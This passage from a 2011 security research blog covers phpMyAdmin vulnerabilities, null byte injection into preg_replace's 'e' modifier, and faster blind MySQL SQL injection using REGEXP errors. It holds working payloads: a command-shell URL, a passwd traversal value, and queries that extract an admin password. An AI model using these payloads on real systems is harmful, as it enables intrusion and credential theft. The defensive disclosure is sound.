        $fields_result = PMA_DBI_get_fields($src_db, $uncommon_tables[$table_index], $src_link);
        $fields = array();
        foreach ($fields_result as $each_field) {
            $field_name = $each_field['Field'];
            $fields[] = $field_name;
        }
        $uncommon_tables_fields[$table_index] = $fields; 
       
        $Create_Query = PMA_DBI_fetch_value("SHOW CREATE TABLE " . PMA_backquote($src_db) . '.' . PMA_backquote($uncommon_tables[$table_index]), 0, 1, $src_link);

        // Replace the src table name with a `dbname`.`tablename`
        $Create_Table_Query = preg_replace('/' . PMA_backquote($uncommon_tables[$table_index]) . '/', 
                                            PMA_backquote($trg_db) . '.' .PMA_backquote($uncommon_tables[$table_index]),
                                            $Create_Query,
                                            $limit = 1
        );

The variables $uncommon_tables[$table_index] and $trg_db are derived from the $_SESSION array. By utilizing the first vulnerability we can inject what ever we want into both the first and the second argument of the function preg_replace on lines 627-631. In a previous post to this blog I've detailed how this condition can be turned into a remote code execution. Basicly we can inject the "e" modifier into the regexp pattern which causes the second argument to be executed as PHP code.

This vulnerability have two major restrictions from an attackers perspective. First the Suhosin patch that completly defends against this type of attack. Second, this piece of code can only be reached if we're authenticated. So to exploit it we would need to have previous knowledge of credentials to an account of the database that phpMyAdmin is set up to manage. Except for some obscure configurations that allows us to bypass this restriction.

Since the Suhosin patch is pretty popular, and for example compiled by default in OpenBSD's PHP packages, it's worth exploring a fourth vulnerability.

The fourth vulnerability

Patched in: 3.3.10.2 and 3.4.3.1
Type: Path Traversal
Assigned CVE id: CVE-2011-2508
PMA Announcement-ID: PMASA-2011-8

File: libraries/display_tbl.lib.php
Lines: 1291-1299


            if ($GLOBALS['cfgRelation']['mimework'] && $GLOBALS['cfg']['BrowseMIME']) {

                if (isset($GLOBALS['mime_map'][$meta->name]['mimetype']) && isset($GLOBALS['mime_map'][$meta->name]['transformation']) && !empty($GLOBALS['mime_map'][$meta->name]['transformation'])) {
                    $include_file = $GLOBALS['mime_map'][$meta->name]['transformation'];

                    if (file_exists('./libraries/transformations/' . $include_file)) {
                        $transformfunction_name = str_replace('.inc.php', '', $GLOBALS['mime_map'][$meta->name]['transformation']);

                        require_once './libraries/transformations/' . $include_file;

This fourth vulnerability is a directory traversal in a call to require_once which can be exploited as a local file inclusion. The variable $GLOBALS['mime_map'][$meta->name]['transformation'] is derived from user input. For example, by setting $GLOBALS['mime_map'][$meta->name]['transformation'] to "../../../../../../etc/passwd" the local passwd-file could show up.

This vulnerability can only be reached if we're authenticated and requires that the transformation feature is setup correctly in phpMyAdmin's configuration storage. However, the $GLOBALS['cfgRelation'] array is derived from the $_SESSION array. Hence the variable $GLOBALS['cfgRelation']['mimework'] used to check this can be modified using the first vulnerability.

File: libraries/display_tbl.lib.php
Lines: 707-710


    if ($GLOBALS['cfgRelation']['commwork'] && $GLOBALS['cfgRelation']['mimework'] && $GLOBALS['cfg']['BrowseMIME'] && ! $_SESSION['tmp_user_values']['hide_transformation']) {
        require_once './libraries/transformations.lib.php';
        $GLOBALS['mime_map'] = PMA_getMIME($db, $table);
    }

And the fact that $GLOBALS['mime_map'] is conditionally initialized together with the fact that phpMyAdmin registers all request variables in the global namespace (blacklists some, but not mime_map) allows us to set $GLOBALS['mime_map'][$meta->name]['transformation'] to whatever we want, even when the transformation feature is not setup correctly.

Summary

If the config folder is left in place, phpMyAdmin is vulnerable.

If an attacker has access to database credentials and the Suhosin patch is not installed, phpMyAdmin is vulnerable.

If an attacker has access to database credentials and knows how to exploit a local file inclution, phpMyAdmin is vulnerable.

Exploits

Here are some exploits that have appeard so far, sorted in chronological order.

phpMyAdmin3 (pma3) Remote Code Execution Exploit written in python by wofeiwo exploiting vulnerability 1 and 2.
http://www.exploit-db.com/exploits/17510/

phpMyAdmin 3.x preg_replace RCE POC written in php by Mango exploiting vulnerability 1 and 3. This isn't really an exploit, just a POC.
http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html

phpMyAdmin 3.x Swekey RCI Exploit written in php by Mango exploiting vulnerability 1 and 2.
http://ha.xxor.se/2011/07/phpmyadmin-3x-swekey-rci-exploit.html

An extra noteworthy exploit is this one created by M4g exploiting vulnerability 1. He paired the first vulnerability with a rougthly one year old bug in the PHP core. The PHP Session Serializer Session Data Injection Vulnerability found by Stefan Esser.
http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/
Or for those of us who can't read Russian, use Google translate.

Null Byte Injection in preg_replace()

2011-06-29T21:30:00.009+02:00

When reviewing some PHP code, I came across a real world example of a strange and undocumented (but it's been breifly mentiond in MOPS Submission 07) feature/bug in the function preg_replace. On certain systems, preg_replace seems to be vulnerable to a null byte injection. If both the first and second argument is derived from user input this could lead to a remote code execution.

Preg_replace naturally has the ability to evaluate it's second argument as PHP code if the "e" modifier is present in the pattern in it's first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the "/" delimiters and inject the "e" modifier when the pattern is derived from user input, like in this example.


$pattern     = '/omfglol'.$_GET['mypattern'].'/i';
$replacement = $_GET['replacement'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

If you'll try to exploit this by injecting "test/e" into the middle of the pattern "/omfgloltest/e/i". The "/" that is present after "/e" in the pattern is not considered to be a valid modifier and an error will be thrown. "Warning: preg_replace(): Unknown modifier '/'"

Lets have a look in PHP's source code. The, as of now, Current stable PHP 5.3.6. This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern.


 /* Parse through the options, setting appropriate flags.  Display
    a warning if we encounter an unknown modifier. */ 
 while (*pp != 0) {
  switch (*pp++) {
   /* Perl compatible options */
   case 'i': coptions |= PCRE_CASELESS;  break;
   case 'm': coptions |= PCRE_MULTILINE;  break;
   case 's': coptions |= PCRE_DOTALL;  break;
   case 'x': coptions |= PCRE_EXTENDED;  break;
   
   /* PCRE specific options */
   case 'A': coptions |= PCRE_ANCHORED;  break;
   case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break;
   case 'S': do_study  = 1;     break;
   case 'U': coptions |= PCRE_UNGREEDY;  break;
   case 'X': coptions |= PCRE_EXTRA;   break;
   case 'u': coptions |= PCRE_UTF8;
 /* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize only ASCII
       characters, even in UTF-8 mode. However, this can be changed by setting
       the PCRE_UCP option. */
#ifdef PCRE_UCP
      coptions |= PCRE_UCP;
#endif   
    break;

   /* Custom preg options */
   case 'e': poptions |= PREG_REPLACE_EVAL; break;
   
   case ' ':
   case '\n':
    break;

   default:
    php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]);
    efree(pattern);
    return NULL;
  }
 }

On line 339, the while loop loops until it encounters a null byte. So if "test/e" is followed by a null byte PHP will stop searching for other modifiers beyond that.

To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: http://www.example.com/pregvuln.php?mypattern=||/e%00&replacement=system($_GET['cmd']);&cmd=echo%20testing123

Note: The double pipes "||" in the pattern "||/e" makes it match anything. The pattern must match something or the code won't execute.

Edit: My initial tests where distorted by the Suhosin patch, which also protects the server from this type of attack.
All PHP versions, as of today, is vulnerable to this attack.

Solution

To defend against this type of attack, just follow best practice. User input should always be escaped using preg_quote before being used in a regexp pattern.

This is a secured version of the example in the beginning of this post.


$pattern     = '/omfglol'.preg_quote($_GET['mypattern'],'/').'/i';
$replacement = $_GET['replacement'];
$subject     = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);

Or to defend against this at the server level, install Suhosin.

Speeding up Blind SQL Injections using Conditional Errors in MySQL

2011-06-21T00:41:00.011+02:00

Please note that this article expects some prior knowledge of blind SQL injections.

Edit: If you want to read about this in Russisn, its been published here in 2009.
Edit2: jrm` provided me with a working implementation of this method which he coded using information from this article. His code can be read at the bottom of this article or downloaded here.
Edit3: jrm` also created python script which can be downloaded here.

Usually a syntax error in a blind SQL injection will have some sort of visible effect in the output of a web application. So what if we could conditionally generate such an error instead of relying on conditionally delaying and timing a request using functions such as BENCHMARK or SLEEP?

There is no documented way of causing MySQL to throw an error based on a condition in a query. However, in both MySQL 4 and 5, there exists an operator named REGEXP (and it's synonym RLIKE). This operator is used for pattern matching using regular expressions.

The Basic Behaviour of REGEXP

This is a SQL query that would return "1" since the selected text "foo" matches the simple pattern "bar|foo".


SELECT 'foo' REGEXP 'bar|foo';

To simplify the query a number could be selected and a number could be used as a pattern. SELECT 1 REGEXP 1
But if an incorrect pattern like this empty string is supplied, MySQL will throw an error that reads "Got error 'empty (sub)expression' from regexp". SELECT 1 REGEXP ''

Example 1

Combine the behaviour of REGEXP with MySQL's IF function and conditional errors can be produced. This first query will return "1" without any complications while the second one will throw an error. SELECT 1 REGEXP IF(1=1,1,'') SELECT 1 REGEXP IF(1=2,1,'') The only difference between these querys is that the first one supplied the IF function with a true statement (1=1) while the secound supplied a false statement (1=2).

Consider that as an alternative to this commonly used method where the first query will return immediately while the second will return after a few seconds delay. IF(1=1,1,BENCHMARK(1000000,MD5(1))) IF(1=2,1,BENCHMARK(1000000,MD5(1)))
A blind SQL injection like the one in this line of PHP could be exploited more then 10 times faster by avoiding the delay.


mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die("Database error!");

And to exploit the vulnerable line of PHP to output "Database error!" if the MySQL version isn't 5. One would use a query like this one. SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')
And input it to the script like this.
http://www.example.com/vulnscript.php?user_id=' OR (SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')) OR '1

Multiple Conditional errors

Consider a vulnerable line of PHP like this where instead of a static error message informing us of a database error, we'll get to see the actual error message thrown by MySQL.


mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die(mysql_error());

Now why would this make any difference?
The REGEXP operator cannot only produce one error message, not two, but 10 different error messages. These different error messages can be triggered by different malformated patterns.
Here is a list of invalid patterns and there correlating error messages.

SELECT 1 REGEXP ''
Got error 'empty (sub)expression' from regexp

SELECT 1 REGEXP '('
Got error 'parentheses not balanced' from regexp

SELECT 1 REGEXP '['
Got error 'brackets ([ ]) not balanced' from regexp

SELECT 1 REGEXP '\\'
Got error 'trailing backslash (\)' from regexp

SELECT 1 REGEXP '*'
Got error 'repetition-operator operand invalid' from regexp

SELECT 1 REGEXP 'a{1,1,1}'
Got error 'invalid repetition count(s)' from regexp

SELECT 1 REGEXP '[a-9]'
Got error 'invalid character range' from regexp

SELECT 1 REGEXP 'a{1,'
Got error 'braces not balanced' from regexp

SELECT 1 REGEXP '[[.ab.]]'
Got error 'invalid collating element' from regexp

SELECT 1 REGEXP '[[:ab:]]'
Got error 'invalid character class' from regexp

Usually when exploiting a blind SQL injection 8 request would need to be sent to a vulnerable web application to extract one byte of data from it's database. Since the only value one request can extract is either true or false, one request for each of the 8 bits in a byte is needed.
By utilizing conditional errors, instead of 2 having distinguishable states, 11 different states can be distinguished. 10 for the different error messages and 1 if no error occurred.

Useing these 11 states, 47% of all the 256 possible values of a byte could be determined in only 2 requests. Another 47% in 3 requests. And the remaining 6% in 4 requests.
Or if the possible values were narrowed down to only the printable characters (ASCII decimal 32-127). 100% could be determined in 2 requests.
Or if the possible values were further narrowed down to numerics (0-9), only 1 request for each digit would be needed.

Example 2

As an example lets say that we would want to find out the first letter of the password belonging to a user named admin.

Usually we would form a query like this. SELECT `pass` FROM `users` WHERE `user`='admin' And use that query as a subquery to ask if the ASCII value of a letter is greater then 128. IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))>128,1,BENCHMARK(1000000,MD5(1))) That query would return immediately if the first letters ASCII value is greater then 128 and delay for a little while if it is 128 or less. And then further requests would keep cutting the range in half until it's been narrowed down to to a definite value.

To make use of conditional errors 10 questions would be asked in a single query. The first query would look something like this.

SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<31,'',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<52,'(',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<73,'[',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<94,'\\',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<115,'*',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<136,'a{1,1,1}',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<157,'[a-9]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<178,'a{1',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<199,'[[.ab.]]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<230,'[[:ab:]]',
1))))))))))

If this query returns an error message that reads "Got error 'repetition-operator operand invalid' from regexp". Then the decimal ASCII value of the first letter of admin's password is contained within the 94-114 range.

After that one would send another query making 10 guesses on 10 distinct values.

SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=94,'',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=95,'(',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=96,'[',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=97,'\\',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=98,'*',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=99,'a{1,1,1}',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=100,'[a-9]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=101,'a{1',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=102,'[[.ab.]]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=103,'[[:ab:]]',
1))))))))))

If no error message is returned all of those guesses where wrong. In that case one would send another query containing 10 of the 11 remaining values in the 94-114 range.

SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=104,'',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=105,'(',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=106,'[',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=107,'\\',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=108,'*',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=109,'a{1,1,1}',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=110,'[a-9]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=111,'a{1',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=112,'[[.ab.]]',
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=113,'[[:ab:]]',
1))))))))))

If this query returned the error message "Got error 'trailing backslash (\)' from regexp" the first letter of admin's password has the ASCII value 107 witch corresponds to a lowercase k. Or if no error is returned that would mean the first letter has an ASCII value of 114, the only remaining value within the range.

Note: For anyone trying to program a script to automatically send these queries. Remember that values in the first and the last 2 ranges of the first query might require 4 requests while all other ranges requires 2-3 requests.

Conclusion

This method is particularly useful for its substantial increase in speed and the reduced number of requests needed compared to other commonly used methods. However, special conditions is required to successfully utilize these improvements. Although nearly all blind SQL injection points differs its output when an error is thrown, not all of them do. Thus whenever this method is used in a universal manner, the method of delaying and timing would still be needed as a fallback.

Related links:
http://dev.mysql.com/doc/refman/5.1/en/regexp.html
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
http://qwazar.ru/?p=26

blindsql_v1.5.py by jrm`
blindsql_v1.4_regexp.php by jrm`
jrm` provided me with this awesome script which implements the error based REGEXP method.
"Result : 30 secs for the binary masks version, 10 secs for the REGEXP version on the same SQL query."

Comming Soon

2011-06-20T13:42:00.003+02:00

I'll be launching this blog with it's first post in a couple of days. Stay tuned.